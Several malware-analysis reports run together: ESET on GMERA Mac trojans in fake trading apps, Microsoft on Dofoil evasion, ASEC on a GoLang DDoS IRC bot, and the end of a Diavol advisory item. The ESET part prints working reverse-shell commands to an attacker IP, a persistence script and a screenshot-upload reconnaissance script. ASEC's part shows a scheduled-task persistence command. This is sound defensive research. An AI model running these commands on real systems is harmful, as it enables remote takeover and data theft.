The FBI's advisory contains numerous indicators of compromise and mitigations for Diavol, making it an essential read for all security professionals and Windows/network administrators. It should be noted that the Diavol ransomware originally created ransom notes named 'README_FOR_DECRYPT.txt' as pointed out by the FBI advisory, but BleepingComputer has seen the ransomware gang switch in November to ransom notes named 'Warning.txt.' The FBI also urges all victims, regardless of whether they plan to pay a ransom, to promptly notify law enforcement of attacks to collect fresh IOCs that they can use for investigative purposes and law enforcement operations. If you are affected by a Diavol attack, it is also important to notify the FBI before paying as they "may be able to provide threat mitigation resources to those impacted by Diavol ransomware." |
# Mac Cryptocurrency Trading Application Rebranded, Bundled with Malware
**ESET researchers lure GMERA malware operators to remotely control their Mac honeypots**
**Marc-Etienne M. Léveillé**
**July 16, 2020**
ESET researchers have recently discovered websites distributing malicious cryptocurrency trading applications for Mac. This malware is used to steal information such as browser cookies, cryptocurrency wallets, and screen captures. Analyzing the malware samples, we quickly found that this was a new campaign of what Trend Micro researchers called GMERA, in an analysis they published in September 2019. As in previous campaigns, the malware reports to a C&C server over HTTP and connects remote terminal sessions to another C&C server using a hardcoded IP address. This time, however, the malware authors wrapped the original, legitimate application to include malware; they also rebranded the Kattana trading application with new names and copied its original website. We have seen the following fictitious brandings used in different campaigns: Cointrazer, Cupatrade, Licatrade, and Trezarus. In addition to the analysis of the malware code, ESET researchers have also set up honeypots to try to reveal the motivations behind this group of criminals.
## Distribution
We have not yet been able to find exactly where these trojanized applications are promoted. However, in March 2020, Kattana posted a warning suggesting that victims were approached individually to lure them into downloading a trojanized app. We couldn’t confirm that it was linked to this particular campaign, but it could very well be the case.
Copycat websites are set up to make the bogus application download look legitimate. For a person who doesn’t know Kattana, the websites do look legitimate. The download button on the bogus sites is a link to a ZIP archive containing the trojanized application bundle.
## Analysis
Malware analysis in this case is pretty straightforward. We will take the Licatrade sample as the example here. Other samples have minor differences, but the ideas and functionalities are essentially the same. Similar analyses of earlier GMERA campaigns are provided in Trend Micro’s blog post and in Objective-See’s Mac malware of 2019 report.
Modification timestamps of the files in the ZIP archive, the date the application was signed, and the Last-Modified HTTP header when we downloaded the archive all show April 15th, 2020. This is highly suggestive that this campaign started on that date.
A shell script (`run.sh`) is included in the resources of the application bundle. This main executable, written in Swift, launches `run.sh`. For some reason, the malware author has duplicated functionality to send a simple report to a C&C server over HTTP and to connect to a remote host via TCP providing a remote shell to the attackers, in both the main executable and the shell script. An additional functionality, in the shell script only, is to set up persistence by installing a Launch Agent.
Here is the full shell script source (ellipsis in long string and defanged):
```bash
#! /bin/bash
function remove_spec_char(){
echo "$1" | tr -dc '[:alnum:].\r' | tr '[:upper:]' '[:lower:]'
}
whoami="$(remove_spec_char `whoami`)"
ip="$(remove_spec_char `curl -s ipecho.net/plain`)"
req=`curl -ks "http://stepbystepby[.]com/link.php?${whoami}&${ip}"`
plist_text="ZWNobyAnc2R2a21…d2Vpdm5laXZuZSc="
echo "$plist_text" | base64 --decode > "/tmp/.com.apple.system.plist"
cp "/tmp/.com.apple.system.plist" "$HOME/Library/LaunchAgents/.com.apple.system.plist"
launchctl load "/tmp/.com.apple.system.plist"
scre=`screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'`
```
It’s interesting to note that persistence is broken in the Licatrade sample: the content of the resulting Launch Agent file (`.com.apple.system.plist`) isn’t in Property List format as `launchd` expects, but instead is the command line to be executed.
The decoded content (ellipses in long strings) of the `$plist_text` variable is:
```bash
echo 'sdvkmsdfmsd…kxweivneivne'; while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'; done; echo 'sdvkmsdfmsdfms…nicvmdskxweivneivne'
```
If run directly, this code would open a reverse shell from the victim machine to an attacker-controlled server, but that fails here. Fortunately for the attackers, the last line of the shell script also starts a reverse shell to their server.
The Cointrazer sample, used in campaigns prior to Licatrade, does not suffer from this issue: the Launch Agent is installed and successfully starts when the user logs in.
The various reverse shells used by these malware operators connect to different remote ports depending on how they were started. All connections are unencrypted. Here is a list of ports, based on the Licatrade sample.
| TCP Port | Where | How |
|----------|-------|-----|
| 25733 | Licatrade executable | zsh in screen using ztcp |
| run.sh | bash in screen using /dev/tcp |
| Launch Agent (Not working) | bash in screen using /dev/tcp |
| 25734 | Licatrade executable | zsh using ztcp |
| 25735 | Licatrade executable | bash using /dev/tcp |
| 25736 | Licatrade executable | bash in screen using /dev/tcp |
| 25737 | Licatrade executable | bash in screen using /dev/tcp |
| 25738 | Licatrade executable | zsh in screen using ztcp |
Here are some example command lines used:
- Bash in screen using /dev/tcp:
```bash
screen -d -m bash -c ‘bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1’
```
- zsh using ztcp:
```bash
zsh -c ‘zmodload zsh/net/tcp && ztcp 193.37.212[.]97 25734 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY’
```
The rebranded Kattana application is also in the resources of the application bundle. We wanted to see if, besides the change in name and icon in the application, some other code was changed. Since Kattana asks for credentials for trading platforms to perform trading, we verified if the input fields of these were tampered with and if credentials were exfiltrated in some way. Kattana is built with Electron, and Electron apps have an `app.asar` file, which is an archive containing the JavaScript code of the application. We have checked all changes between the original Kattana application and the malicious Licatrade copycat and found that only strings and images were changed.
Licatrade and its resources were all signed using the same certificate, having the common name field set to Andrey Novoselov and using developer ID M8WVDT659T. The certificate was issued by Apple on April 6th, 2020. It was revoked the same day we notified Apple about this malicious application.
For each of the other campaigns we analyzed, a different certificate was used. Both were already revoked by Apple when we started our analyses. It’s interesting to note that in the case of Cointrazer, there were only 15 minutes between the moment the certificate was issued by Apple and the malefactors signing their trojanized application. This, and the fact that we didn’t find anything else signed with the same key, suggests they got the certificate explicitly for that purpose.
## Infrastructure
The malicious Licatrade application was available on the licatrade.com website and its C&C HTTP report server domain is stepbystepby.com. Both domains were registered using the [email protected] email address. Searching for other domains registered with that email address reveals what looks like several previous campaigns. Here is a list of domains we found in samples or registered with that email address.
| Domain name | Registration date | Comment |
|-------------|-------------------|---------|
| repbaerray.pw | 2019-02-25 | C&C server for HTTP report of Stockfolio app |
| macstockfolio.com | 2019-03-03 | Website distributing the malicious Stockfolio app |
| latinumtrade.com | 2019-07-25 | Website distributing the malicious Latinum app |
| trezarus.com | 2019-06-03 | Website distributing the malicious Trezarus app |
| trezarus.net | 2019-08-07 | |
| cointrazer.com | 2019-08-18 | Website distributing the malicious Cointrazer app |
| apperdenta.com | 2019-08-18 | Usage unknown |
| narudina.com | 2019-09-23 | Usage unknown |
| nagsrsdfsudinasa.com | 2019-10-09 | C&C server for HTTP report of Cointrazer app |
| cupatrade.com | 2020-03-28 | Website distributing the malicious Cupatrade app |
| stepbystepby.com | 2020-04-07 | C&C server for HTTP report of Licatrade app |
| licatrade.com | 2020-04-13 | Website distributing the malicious Licatrade app |
| creditfinelor.com | 2020-05-29 | Empty page, usage unknown |
| maccatreck.com | 2020-05-29 | Some authentication form |
Both the websites and HTTP C&C servers receiving the malware’s first report are hosted behind Cloudflare.
## Honeypot Interactions
To learn more about the intentions of this group, we set up honeypots where we monitored all interactions between the GMERA reverse shell backdoors and the operators of this malware. We saw no C&C commands issued via the HTTP C&C server channel; everything happened through the reverse shells. When it first connected, the C&C server sent a small script to gather the username, the macOS version, and location (based on external IP address) of the compromised device.
```bash
#! /bin/bash
function check() {
if [ ! -f /private/var/tmp/.i ]; then
write
else
if [ "$(( $(date +"%s") - $(stat -f "%m" /private/var/tmp/.i) ))" -gt "21600" ]; then
write
fi
fi
}
function write() {
getit=`curl -s ipinfo.io | grep -e country -e city | sed 's/[^a-zA-Z0-9]//g' | sed -e "s/city//g;s/country//g"`
echo `whoami` > /private/var/tmp/.i
echo `sw_vers -productVersion` >> /private/var/tmp/.i
echo "$getit" >> /private/var/tmp/.i
}
check
cat /private/var/tmp/.i
```
This script sent something like this to the operators:
```
jeremy
10.13.4
Bratislava
SK
```
The TCP connection stays open and waits for further commands. In our case, after a while, the operators manually inspected the machine. Across several of our honeypots, the commands used to perform that inspection varied. Part of it was just listing files across the file system. Sometimes, they would copy-and-paste a base64-encoded script designed to list information to reveal whether the system is a honeypot or actually interesting. The script is decoded, then piped to bash.
Here is the decoded script:
```bash
echo ""
echo "------ Whoami ------"
whoami
echo "------ IP info ------"
curl -s ipinfo.io
echo "------ Mac Model ------"
curl -s https://support-sp.apple.com/sp/product?cc=$(system_profiler SPHardwareDataType | awk '/Serial/ {print $4}' | cut -c 9-) | sed 's|.*<configCode>\(.*\)</configCode>.*|\1|'
echo "------ MacOS Version ------"
sw_vers -productVersion
sw_vers -productVersion | grep -E "10.15.*" && echo -e "\033[1;31m CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA \033[0m"
sleep 1
echo "------ MacOS Installed ------"
date -r /var/db/.AppleSetupDone
echo "------ Disks ------"
df -m
echo "------ Video Output ------"
system_profiler SPDisplaysDataType
echo "------ Wifi Around ------"
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
echo "------ Virtual Machine Detector ------"
ioreg -l | grep -e Manufacturer -e 'Vendor Name' | grep -E "irtual|racle|ware|arallels" || echo "Probably not a Virtual Machine..."
echo "--------------------------------"
echo "------ Developer Detector ------"
echo "--------------------------------"
echo "||| Applications |||"
ls -laht /Applications | grep -E "Xcode|ublime|ourceTree|Atom|MAMP|TextWrangler|Code|ashcode" && echo "-|Be Carefull|-"
echo "||| Short Bash History |||"
cat ~/.bash_history | head -n 20
echo "------ Desktop Screen ------"
echo "create screenshot..."
sw_vers -productVersion | grep -E "10.15.*" & screencapture -t jpg -x /tmp/screen.jpg &> /dev/null
sips -z 500 800 /tmp/screen.jpg &> /dev/null
sips -s formatOptions 50 /tmp/screen.jpg &> /dev/null
echo "uploading..."
curl -s -F "file=@/tmp/screen.jpg" https://file.io
```
This script is actually very similar to the plugin file found in one of the Stockfolio samples analyzed last year. However, in the more recent campaigns, they chose to send the reconnaissance script over the network to interesting victims only. It was also updated to include some additional information.
We’ll go over each section of the script here:
- It gets the full report about the external IP from ipinfo.io.
- It checks for Mac model by using the last 4 digits of the Mac serial number and an HTTP service provided by Apple to translate it to a friendly name such as “MacBook Pro (Retina, 15-inch, Late 2013)”. Virtual machines likely have invalid serial numbers and may not display a model here.
- It outputs the version of macOS installed. There is a rather big red (using ANSI escape sequence), all caps warning when the computer is running macOS Catalina (10.15). We think we understand why and talk about it later.
- It checks when macOS was installed using the modification time of the `/var/db/.AppleSetupDone`.
- It outputs the disk usage and connected monitors’ details.
- It lists available Wi-Fi networks. Honeypots are likely to have Wi-Fi disabled.
- It detects whether the computer is a VMware, Parallels, or VirtualBox virtual machine by looking at the vendor strings of connected devices.
- It checks whether common text editors or IDE applications are installed and warns operators to “Be Carefull” (sic) because this victim could be more computer savvy than usual.
- It gets the first (i.e. oldest) 20 commands from the bash history file.
- Finally, it takes a screenshot, resizes it, and uploads it to file.io. It checks to see whether the system is running macOS Catalina before doing so, but an error in the script makes this check useless. The “&” control operator, which starts commands in parallel, is used instead of the logical AND (“&&”) operator. This means the screen capture is taken regardless of the macOS version.
The fact that a screenshot should not be taken on Catalina and that an obvious warning sign will be displayed on the operator’s terminal made us wonder why they act differently on the current macOS version. It turns out that Catalina added a feature where recording the screen or taking a screenshot must be approved by the user for each application. We tested taking a screenshot from the reverse shell on Catalina and ended up with the following warning in our sandbox, which is rather suspicious considering a trading application has no business doing so.
Should a compromised system be considered interesting, the exfiltration phase begins. Interesting files are compressed into a ZIP archive and uploaded via HTTP to yet another server, also under the control of the attackers.
It’s funny to note here the `/tmp/h.zip` file did not exist. Perhaps they copy-and-pasted some command that was used for another victim.
Based on the activity we have witnessed, we conclude that some of the interests of the operators of this malware are:
- Browser information (cookies, history)
- Cryptocurrency wallets
- Screen captures
## Conclusion
The numerous campaigns run by this group show how much effort they’ve expended over the last year to compromise Mac users doing online trading. We still aren’t sure how someone becomes a victim, downloading one of the trojanized applications, but the hypothesis of the operators directly contacting their targets and socially engineering them into installing the malicious application seems the most plausible.
It is interesting to note how the malware operation is more limited on the most recent version of macOS. We did not see the operators try to circumvent the limitation surrounding screen captures. Further, we believe that the only way that they could see the computer screen on victim machines running Catalina would be to exfiltrate existing screenshots taken by the victim. This is a good, real-world example of a mitigation implementation in the operating system that has worked to limit the activities of malefactors.
## Indicators of Compromise (IoCs)
### Samples
| SHA-1 | Filename | ESET detection name |
|-------|----------|---------------------|
| 2AC42D9A11B67E8AF7B610AA59AADCF1BD5EDE3B | Licatrade.zip | multiple threats |
| 560071EF47FE5417FFF62CB5C0E33B0757D197FA | Licatrade.app/Contents/Resources/run.sh | OSX/Agent.BA |
| 4C688493958CC7CCCFCB246E706184DD7E2049CE | Licatrade.app/Contents/MacOS/Licatrade | OSX/Agent.BA |
| 9C0D839D1F3DA0577A123531E5B4503587D62229 | Cointrazer.zip | multiple threats |
| DA1FDA04D4149EBF93756BCEF758EB860D0791B0 | Cointrazer.app/Contents/Resources/nytyntrun.sh | OSX/Agent.AZ |
| F6CD98A16E8CC2DD3CA1592D9911489BB20D1380 | Cointrazer.app/Contents/MacOS/Cointrazer | OSX/Agent.BA |
| 575A43504F79297CBFA900B55C12DC83C2819B46 | Stockfolio.zip | multiple threats |
| B8F19B02F9218A8DD803DA1F8650195833057E2C | Stockfolio.app/Contents/MacOS/Stockfoli | OSX/Agent.AZ |
| AF65B1A945B517C4D8BAAA706AA19237F036F023 | Stockfolio.app/Contents/Resources/run.sh | OSX/Agent.AZ |
### Code Signing Certificate
| App name | Fingerprint (SHA-1) | Developer identity | Valid from | Revoked on |
|----------|----------------------|--------------------|------------|------------|
| Stockfolio | E5D2C7FB4A64EAF444728E5C61F576FF178C5EBF | Levis Toretto | 2018-11-25 | 2019-07-26 |
| Cointrazer | 1BC8EA284F9CE5F5F68C68531A410BCC1CE54A55 | Andrei Sobolev | 2019-10-17 | 2020-04-16 |
| Licatrade | BDBD92BFF8E349452B07E5F1D2883678658404A3 | Andrey Novoselov | 2020-04-06 | 2020-05-28 |
### Network
**Domain names**
- repbaerray.pw
- macstockfolio.com
- latinumtrade.com
- trezarus.com
- trezarus.net
- cointrazer.com
- apperdenta.com
- narudina.com
- nagsrsdfsudinasa.com
- cupatrade.com
- stepbystepby.com
- licatrade.com
- creditfinelor.com
- maccatreck.com
**IP addresses**
- 85.209.88.123
- 85.217.171.87
- 193.37.214.7
- 193.37.212.97
**Host-based indicators**
- File paths:
- $HOME/Library/LaunchAgents/.com.apple.upd.plist
- $HOME/Library/LaunchAgents/.com.apple.system.plist
- /tmp/.fil.sh
- /tmp/loglog
- Launch Agent labels:
- com.apple.apps.upd
- com.apples.apps.upd
### MITRE ATT&CK Techniques
| Tactic | ID | Name | Description |
|--------|----|------|-------------|
| Execution | T1204 | User Execution | Victim needs to run the malicious application to be compromised. |
| Command-Line Interface | T1059 | GMERA provides reverse bash and zsh shells to its operators. |
| Persistence | T1159 | Launch Agent | GMERA installs a Launch Agent to maintain persistence. |
| Defense Evasion | T1116 | Code Signing | All samples of GMERA we have analyzed were signed and used valid, Apple-signed (now revoked), certificates. |
| Credential Access | T1139 | Bash History | A GMERA reconnaissance script lists the first 20 lines of the .bash_history file. |
| Collection | T1539 | Steal Web Session Cookie | GMERA’s operators steal browser cookies via a reverse shell. |
| Discovery | T1083 | File and Directory Discovery | GMERA’s operators list files on the target system via a reverse shell and ls. |
| Discovery | T1497 | Virtualization/Sandbox Evasion | A GMERA reconnaissance script checks for devices specific to hypervisors and warns the operators if run in a virtual machine. |
| Discovery | T1040 | Network Sniffing | A GMERA reconnaissance script lists Wi-Fi networks available to the compromised Mac using airport -s. |
| Discovery | T1082 | System Information Discovery | A GMERA reconnaissance script lists information about the system such as macOS version, attached displays, and Mac model. |
| Discovery | T1518 | Software Discovery | A GMERA reconnaissance script checks whether developer tools are installed. |
| Collection | T1005 | Data from Local System | GMERA’s operators use this malware to exfiltrate files from the compromised system. |
| Collection | T1113 | Screen Capture | GMERA’s operators take screenshots of the compromised system and exfiltrate them through file.io. |
| Command and Control | T1043 | Commonly Used Port | Initial reporting from the malware is done using HTTP on its standard TCP port (80). |
| Command and Control | T1065 | Uncommonly Used Port | GMERA reverse shells are opened by connecting to C&C server TCP ports in the range 25733 to 25738. |
| Exfiltration | T1048 | Exfiltration Over Alternative Protocol | GMERA exfiltrates files from the reverse shell using HTTP to another attacker-controlled server. | |
# Hunting down Dofoil with Windows Defender ATP
Dofoil is a sophisticated threat that attempted to install coin miner malware on hundreds of thousands of computers in March 2018. In previous blog posts, we detailed how behavior monitoring and machine learning in Windows Defender AV protected customers from a massive Dofoil outbreak that we traced back to a software update poisoning campaign several weeks prior. Notably, customers of Windows 10 S, a special Windows 10 configuration that provides streamlined Microsoft-verified security, were not affected by the Dofoil outbreak.
In this blog post, we will expound on Dofoil’s anti-debugging and anti-analysis tactics and demonstrate how the rich detection libraries of Windows Defender Advanced Threat Protection and Windows Defender Exploit Guard can help during investigation.
We found that Dofoil was designed to be elusive to analysis. It checks its environment and stops running in virtual machine environments. It also checks for various analysis tools and kills them right away. This can make malware analysis and assessment challenging.
The following diagram shows the multi-stage malware execution process, which includes checks for traits of analysis environments during some stages.
**Table 1. Dofoil’s multi-stage modules**
| STAGES | DESCRIPTION |
|--------------------------------------------|-------------|
| 1. Obfuscated wrapper code | Anti-heuristics, Anti-emulation |
| 2. Bootstrap module | Performs self-process hollowing to load the next module |
| 3. Anti-debugging module | Performs anti-debugging operation |
| 4. Trojan downloader module | Performs system environment checks, Performs anti-VM operation, Injects itself to explorer.exe through process hollowing |
| 5. Trojan downloader module | Contacts C&C server to download trojan and run it using process hollowing technique in explorer.exe |
| 6. Payload downloader module | Contacts C&C server to download the main payload in explorer.exe |
| 7. Trojan module | Steals credentials from various application settings and sends stolen info to the C&C server over HTTP channel |
| 8. CoinMiner.D | Mines digital currencies |
**Initial stages**
The first three stages (i.e., obfuscated wrapper code, bootstrap module, anti-debugging module) use the following techniques to avoid analysis and identification.
**Table 2. Anti-analysis techniques**
| ANTI-ANALYSIS TECHNIQUES | DESCRIPTION |
|---------------------------|-------------|
| Benign code insertion | Inserts a huge benign code block to confuse heuristics and manual inspection |
| Anti-emulation | Enumerates an arbitrary registry key and compares the data with an expected value to check if the malware runs inside an emulator |
| Self-process hollowing | Uses the process hollowing technique on the current process, making analysis extra difficult due to the altered code mapping |
| Debugger checks | Checks for debuggers and modifies code to crash, adding an additional layer of confusion to researchers |
The first stage contains some benign-looking code before the actual malicious code. This can give the executable a harmless appearance. It can also make the emulation of the code difficult because emulating various API calls that are not present in many malware codes can be challenging.
The first-stage code also performs a registry key enumeration to ensure it has the expected value. When all checks are passed, it decodes the second-stage shellcode and runs it on the allocated memory. This shellcode un-maps the original main module’s memory and then decodes the third-stage shellcode into that memory – this is known as a self-process hollowing technique.
Windows Defender ATP’s process tree can help with investigation by exposing these anti-debugging techniques.
**Trojan downloader module**
The trojan downloader module performs various environment checks, including virtual environment and analysis tool checks, before downloading the payload.
**Table 3. Anti-analysis technique of Dofoil’s trojan downloader module**
| ANTI-ANALYSIS TECHNIQUES | DESCRIPTION |
|---------------------------|-------------|
| Check module name | Checks if the main executable name contains the string “sample” |
| Check volume serial | Checks if current volume serial number is 0xCD1A40 or 0x70144646 |
| Check DLLs | Checks the presence of DLLs related to debuggers |
| Check disk-related registry keys | Checks the value of the registry key against well-known disk name patterns for virtual machines |
| Process check | Checks running processes and kills those with names associated with analysis tools |
| Windows class name check | Checks the current Windows class names and exits when some well-known names are found |
The list of target process names and Windows class names exists in custom checksum form. The checksum algorithm looks like the following:
**Table 4. String checksum table used for process names and Windows class names**
| STRING | CHECKSUM |
|----------------------------|----------|
| Autoruns | 0x0E5C1C5D |
| PROCEXPL | 0x1D421B41 |
| PROCMON_WINDOW_CLASS | 0x4B0C105A |
| TCPViewClass | 0x1D4F5C43 |
| ProcessHacker | 0x571A415E |
| OllyDbg | 0x4108161D |
| WinDbgFrameClass | 0x054E1905 |
| procexp.exe | 0x19195C02 |
| procexp64.exe | 0x1C0E041D |
| procmon.exe | 0x06185D0B |
| procmon64.exe | 0x1D07120A |
| tcpview.exe | 0x060B5118 |
| wireshark.exe | 0x550E1E0D |
| processhacker.exe | 0x51565C47 |
| ollydbg.exe | 0x04114C14 |
| x32dbg.exe | 0x5F4E5C04 |
| idaq.exe | 0x14585A12 |
Dofoil heavily uses the process hollowing technique. Its main target for process hollowing is explorer.exe. The Dofoil shellcode launches a new instance of explorer.exe, allocates shellcode in the heap region, and then modifies the entry point code to jump into the shellcode. This way, the malware avoids using CreateRemoteThread API but can still achieve code injection.
Windows Defender ATP can detect the process hollowing behavior with advanced memory signals. The following process tree shows that the malware injects itself into explorer.exe using the process hollowing technique.
When the shellcode downloads another layer of payload, it spawns another explorer.exe to inject the payload into using process hollowing. Windows Defender ATP can save analysis time on these cases by pinpointing the malicious actions, eliminating the need for guessing what these newly spawned Windows system processes are doing.
The process hollowing behavior can be detected through Exploit protection in Windows Defender Exploit Guard. This can be done by enabling the Export Address Filter (EAF) mitigation against explorer.exe. The detection happens when the shellcode goes through the export addresses of the modules to find the export address of the LoadLibraryA and GetProcAddress functions.
Windows Defender Exploit Guard events are also exposed in the Windows Defender ATP portal.
Adding Windows Defender Exploit Guard EAF audit/block policy to common system processes like explorer.exe, cmd.exe, or verclsid.exe can be useful in finding and blocking process hollowing or process injection techniques commonly used by malware. This policy can impact third-party apps that may behave like shellcode, so we recommend testing Windows Defender Exploit Guard with audit mode enabled before enforcement.
**Command-and-control (C&C) and NameCoin domains**
Dofoil’s C&C connection is very cautious. The trojan code first tries to connect to well-known web pages and verifies that the malware has a proper and real Internet connection, not simulated as in test environments. After it makes sure it has a real Internet connection, the malware makes HTTP connections to the actual C&C servers.
The malware uses NameCoin domain name servers. NameCoin is a decentralized name server system that provides extra privacy backed by blockchain technology. Except for the fact that the DNS client needs to use specific sets of NameCoin DNS servers, the overall operation is very similar to a normal DNS query. Because NameCoin uses blockchain technology, you can query the history of the domain name changes through blocks.
Windows Defender ATP can provide visibility into the malware’s network activities. The following alert process tree shows the malware’s .bit domain resolution activity and, after that, the connections to the resolved C&C servers. You can also view other activities from the executable, for example, its connections to other servers using SMTP ports.
The Windows Defender ATP advanced hunting feature, which is currently in preview, can be used to hunt down more malware samples that possibly abuse NameCoin servers. For example, the following advanced hunting query finds recent connections to Dofoil C&C servers from your network. This can lead to extra insights on other threats that use the same NameCoin servers.
The purpose of using NameCoin is to prevent easy sinkholing of the domains. Because there are no central authorities on the NameCoin domain name records, it is not possible for the authorities to change the domain record. Also, malware abusing NameCoin servers use massive numbers of NameCoin DNS servers to make full shutdown of those servers very difficult.
**Conclusion**
Dofoil is a very evasive malware. It has various system environment checks and tests Internet connectivity to make sure it runs on real machines, not in analysis environments or virtual machines. This can make the analysis time-consuming and can mislead malware analysis systems.
In attacks like the Dofoil outbreak, Windows Defender Advanced Threat Protection (Windows Defender ATP) can help network defenders analyze the timeline from the victim machine and get rich information on process execution flow, C&C connections, and process hollowing activities. With the new advanced hunting capabilities in preview, you can run powerful custom queries and pivot freely to different sets of possible targets, malicious entities, and suspicious activity. Windows Defender ATP can also be used as an analysis platform with fine-tuned visibility into system activities when set up in a lab environment. This can save time and resources during malware investigation.
In addition, Windows Defender Exploit Guard can be useful in finding malicious shellcodes that traverse export address tables. Windows Defender Exploit Guard can be an excellent tool for finding and blocking malware and exploit activities.
Windows Defender Exploit Guard events are surfaced in the Windows Defender ATP portal, which integrates protections from other Microsoft solutions, including Windows Defender AV and Windows Defender Application Guard. This integrated security management experience makes Windows Defender ATP a comprehensive solution for detecting and responding to a wide range of malicious activities across the network.
Windows 10 S, a special configuration of Windows 10, locks down devices against Dofoil and other attacks by working exclusively with apps from the Microsoft Store and using Microsoft Edge as the default browser. This streamlined, Microsoft-verified platform seals common malware entry points.
To test how Windows Defender ATP can help your organization detect, investigate, and respond to advanced attacks, sign up for a free trial.
**Indicators of compromise (IoCs)**
- **TrojanDownloader:Win32/Dofoil.AB:**
- d191ee5b20ec95fe65d6708cbb01a6ce72374b309c9bfb7462206a0c7e039f4d
- eaa63f6b500afedcaeb8d5b18a08fd6c7d95695ea7961834b974e2a653a42212
- cded7aedca6b54a6d4273153864a25ccad35cba5cafeaec828a6ad5670a5973a
- **Trojan:Win32/Dofoil.AB:**
- 070243ad7fb4b3c241741e564039c80ca65bfdf15daa4add70d5c5a3ed79cd5c
- 5f3efdc65551edb0122ab2c40738c48b677b1058f7dfcdb86b05af42a2d8299C
- 28ce9763a808c4a7509e9bf92d9ca80212a241dfa1aecd82caedf1f101eac692
- 5d7875abbbf104f665a0ee909c372e1319c5157dfc171e64ac2bc8b71766537f
- **Trojan:Win32/CoinMiner.D**
- 2b83c69cf32c5f8f43ec2895ec9ac730bf73e1b2f37e44a3cf8ce814fb51f12
- **C&C URLs:**
- hxxp://levashov.bit/15022018/
- hxxp://vrubl.bit/15022018/
- **C&C server:**
- vinik.bit
- **Related .bit domains:**
- henkel.bit
- makron.bit
- makronwin.bit
- **NameCoin servers used by Dofoil:**
- 139.59.208.246
- 130.255.73.90
- 31.3.135.232
- 52.174.55.168
- 185.121.177.177
- 185.121.177.53
- 62.113.203.55
- 144.76.133.38
- 169.239.202.202
- 5.135.183.146
- 142.0.68.13
- 103.253.12.18
- 62.112.8.85
- 69.164.196.21
- 107.150.40.234
- 162.211.64.20
- 217.12.210.54
- 89.18.27.34
- 193.183.98.154
- 51.255.167.0
- 91.121.155.13
- 87.98.175.85
- 185.97.7.7 |
# DDoS IRC Bot Malware (GoLang) Being Distributed via Webhards
While monitoring the distribution source of malware in Korea, the ASEC analysis team has discovered that DDoS IRC Bot strains disguised as adult games are being installed via webhards. Webhards are platforms commonly used for the distribution of malware in Korea, where njRAT and UDP Rat were distributed in the past.
## UDP RAT Malware Being Distributed via Webhards
The cases that are recently being discovered are similar to the case discussed previously, and it appears that the same attacker is continuing to distribute the malware. The malware is being distributed under the guise of adult games. Additionally, the DDoS malware was installed via downloader and UDP Rat was used. One difference is that the previous downloader malware was developed using C#, but now GoLang is used instead. The publicly released open-source Simple-IRC-Botnet (DDoS IRC Bot malware developed with GoLang) was also used along with UDP Rat.
The GoLang is used by various attackers and its usage is increasing recently due to its low development difficulties and cross-platform support. Following such a trend, cases that use GoLang are increasing in Korean malware strains that target Korean users.
As shown in the figure below, malware disguised as an adult game is uploaded to the webhard.
While it is uncertain whether the person who uploaded this game is the attacker, similar posts are distributing the same malware using compressed files. Note that the games differ but the malware inside the compressed files is the same.
The adult games used for attacks contain the following path names. This means that they were distributed through the compressed files with the following names:
- [19 Korean version] Naughty Mage’s EXXXXX Life
- [19 Korean version] The Reason She Became a Slave
- [19 Korean version] Refraining of Heavenly Walk
- [19 Korean version] Exchange Diary of Violation
- [19 Korean version] Girl From Tea Ceremony Club
- [19 Korean version] Curse of Lilia
- [19 Korean version] Academy with Magical Girls
- [19 Korean version] Monster Fight
- [19 Korean version] Dreamy Lilium
- [19 Korean version] Enraged Department Manager
- [19 Korean version] Fancy Days of Sayuri
- [19 Korean version] Sleif Corporation
- [19 Korean version] Country Girl Exposure
- [19 Korean version] Sylvia and Master of Medicine
- [19 Korean version] Assassin Asca
- [19 Korean version] How to Reform Your Girlfriend
- [19 Korean version] Creating Utopia with Subjugation Skill
- [19 Korean version] Uriel and Belial
- [19 Korean version] The Case of Chairperson Kana
- [19 Korean version] Princess Round
- [19 Korean version] Flora and the Root of the World Tree
- [19 Korean version] Midnight Exposure
- [19 Korean version] Modern Day Elf
- [19 Korean version] Research Data of Homunculus
Upon decompressing the downloaded zip file, the following files appear. Normally, users would run the “Game_Open.exe” file shown below to play the game. But “Game_Open.exe” is not a launcher that runs the game. It is an executable that runs additional malware. To be more precise, it changes the “PN” file existing in the same path as “scall.dll” and runs it. Then it copies the original game executable “index” to “Game.exe” to run it. As such, users would assume that the game is being run normally.
Once the process above is complete, the “Game_Open.exe” file becomes hidden. After being hidden, users would run “Game.exe,” which is a copy of the game program launcher. Note that the “PN” file that was changed to “scall.exe” and executed is malware. It first moves the “srt” file existing in the same path to `C:\Program Files\EdmGen.exe`.
It then registers “EdmGen.exe” to the task scheduler using the following command to have it run periodically:
```
“C:\Windows\System32\cmd.exe” /c SCHTASKS /CREATE /SC ONSTART /NP /TN “Windows Google” /TR “C:\Program Files\EdmGen.exe”
```
“EdmGen.exe” (“srt” file) that is executed by the process shown above runs the normal program vbc.exe and injects malware into the program. The malware that is injected into vbc.exe and executed is also a downloader type discussed in the previous ASEC blog post. One difference is that it was developed with GoLang instead of C#.
The malware can periodically access the C&C server to obtain the URL of malware that will be downloaded to install additional malware.
**Download URL for Additional Malware:** `hxxp://node.kibot[.]pw:8880/links/01-13`
**Creation Path of Downloaded Malware:** `C:\Down\discord_[random characters]\[malware name]`
Previously, the type of additionally installed malware was UDP Rat DDoS. Yet for this case, there was also Simple-IRC-Botnet developed with GoLang. It is also a type of DDoS Bot malware, but it uses IRC protocols to communicate with the C&C server. Unlike UDP Rat that only supported UDP Flooding attacks, it can also support attacks such as Slowris, Goldeneye, and Hulk DDoS.
Golang DDoS IRC Bot connects to a particular IRC server when it is run and enters the attacker’s channel. It can perform DDoS attacks on a target if the attacker sends commands from the channel.
**IRC Server List Used by Golang DDoS IRC Bot Malware:**
- 210.121.222[.]32:6667
- 157.230.106[.]25:6667
- 89.108.116[.]192:6667
- 176.56.239[.]136:6697
